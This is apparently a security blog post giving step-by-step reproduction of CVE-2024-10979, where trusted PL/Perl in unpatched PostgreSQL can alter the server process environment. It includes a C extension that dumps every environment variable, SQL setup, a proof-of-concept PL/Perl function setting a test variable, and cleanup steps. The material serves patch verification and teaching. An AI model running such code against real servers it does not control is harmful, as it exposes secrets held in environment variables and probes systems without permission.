Skip links
Vahagn Vardanian

Vahagn Vardanian

Co-founder and CTO of RedRays

Reproducing CVE-2024-10979: A Step-by-Step Guide

In this blog post, we’ll explore how to reproduce the vulnerability described in CVE-2024-10979, where environment variable mutations are incorrectly allowed from trusted PL/Perl code in PostgreSQL. This guide is intended for educational purposes and to help understand the importance of applying security patches promptly.

Prerequisites

Before we begin, ensure you have the following:

  • PostgreSQL version 12 or higher (without the CVE-2024-10979 patch applied).
  • A C compiler (like gcc).
  • Permissions to create functions and languages in PostgreSQL.
  • The pg_config utility available in your system PATH.

Setup Instructions

We’ll create a C function to fetch environment variables, set up PostgreSQL functions, and prepare our environment to reproduce the vulnerability.

1. Compile the C Function

We’ll use a C function named get_environ to retrieve all environment variables of the current process.

/* get_environ.c */

#include "postgres.h"
#include "fmgr.h"
#include "utils/builtins.h"
#include "utils/array.h"

PG_MODULE_MAGIC;

PG_FUNCTION_INFO_V1(get_environ);

Datum
get_environ(PG_FUNCTION_ARGS)
{
    extern char **environ;
    int         nvals = 0;
    ArrayType  *result;
    Datum      *env;
    char      **s;

    /* Count the number of environment variables */
    for (s = environ; *s; s++)
        nvals++;

    /* Allocate memory for the environment variables */
    env = (Datum *) palloc(nvals * sizeof(Datum));

    /* Populate the Datum array with environment variables */
    for (int i = 0; i < nvals; i++)
        env[i] = CStringGetTextDatum(environ[i]);

    /* Construct the text[] array */
    result = construct_array(env, nvals, TEXTOID, -1, false, 'i');

    PG_RETURN_POINTER(result);
}
    

Steps to compile:

  1. Save the above code in a file named get_environ.c.
  2. Compile it using the following commands:
    gcc -fPIC -c get_environ.c $(pg_config --cflags) $(pg_config --cppflags)
    gcc -shared -o get_environ.so get_environ.o $(pg_config --ldflags) $(pg_config --libs)
  3. Copy the compiled shared library to PostgreSQL’s library directory:
    cp get_environ.so $(pg_config --pkglibdir)

    You may need to use sudo for this operation.

2. Set Up PostgreSQL Functions

Connect to your PostgreSQL database and run the following SQL commands:

-- Load the shared library containing get_environ
CREATE FUNCTION get_environ()
   RETURNS text[]
   AS 'get_environ', 'get_environ'
   LANGUAGE C STRICT;

-- Function to process environment variables
CREATE OR REPLACE FUNCTION process_env()
RETURNS TABLE(key text, value text)
LANGUAGE plpgsql AS
$$
BEGIN
    RETURN QUERY
    SELECT split_part(t, '=', 1) AS key,
           split_part(t, '=', 2) AS value
    FROM unnest(get_environ()) AS t;
END
$$;

-- Trusted PL/Perl function attempting to modify an environment variable
CREATE OR REPLACE FUNCTION plperl_set_env_var()
RETURNS void AS
$$
    # Attempt to set an environment variable
    $ENV{'TEST_PLPERL_ENV_FOO'} = 'testval';
$$ LANGUAGE plperl;
    

Reproducing the Vulnerability

Now, we’ll attempt to modify an environment variable from trusted PL/Perl code and check if it affects the PostgreSQL process environment.

1. Modify the Environment Variable

Execute the following SQL command:

SELECT plperl_set_env_var();

2. Verify the Change

Check if the environment variable was set:

SELECT key, value
FROM process_env()
WHERE key = 'TEST_PLPERL_ENV_FOO';

Expected Results

Before the Patch (Vulnerable State)

If the vulnerability exists, you should see output similar to:

      key         |  value  
--------------------+---------
 TEST_PLPERL_ENV_FOO | testval

This indicates that the environment variable was incorrectly modified from trusted PL/Perl code.

After the Patch (Secure State)

If the patch has been applied, the output should be:

 key | value 
-----+-------
(0 rows)

This means the environment variable modification was correctly blocked.

Cleanup

After testing, it’s good practice to clean up the functions and files created during the setup.

1. Remove PostgreSQL Functions

Execute the following SQL commands:

DROP FUNCTION IF EXISTS plperl_set_env_var();
DROP FUNCTION IF EXISTS process_env();
DROP FUNCTION IF EXISTS get_environ();

2. Delete the Shared Library

Remove the compiled shared library from the PostgreSQL library directory:

rm $(pg_config --pkglibdir)/get_environ.so

Conclusion

This exercise demonstrates the importance of securing procedural languages in PostgreSQL. By reproducing CVE-2024-10979, we see how vulnerabilities can allow unintended access to the server’s environment, potentially leading to security breaches.

Always ensure your PostgreSQL installations are up-to-date with the latest patches to protect against such vulnerabilities.


Disclaimer

This guide is for educational and testing purposes only. Perform these steps in a controlled environment. Do not use this code in a production setting.

 

Explore More

Special offer for SAP Security Udemy course!

$ 9.99

Join “SAP Security Core Concepts and Security Administration” which is part of the Blackhat course series.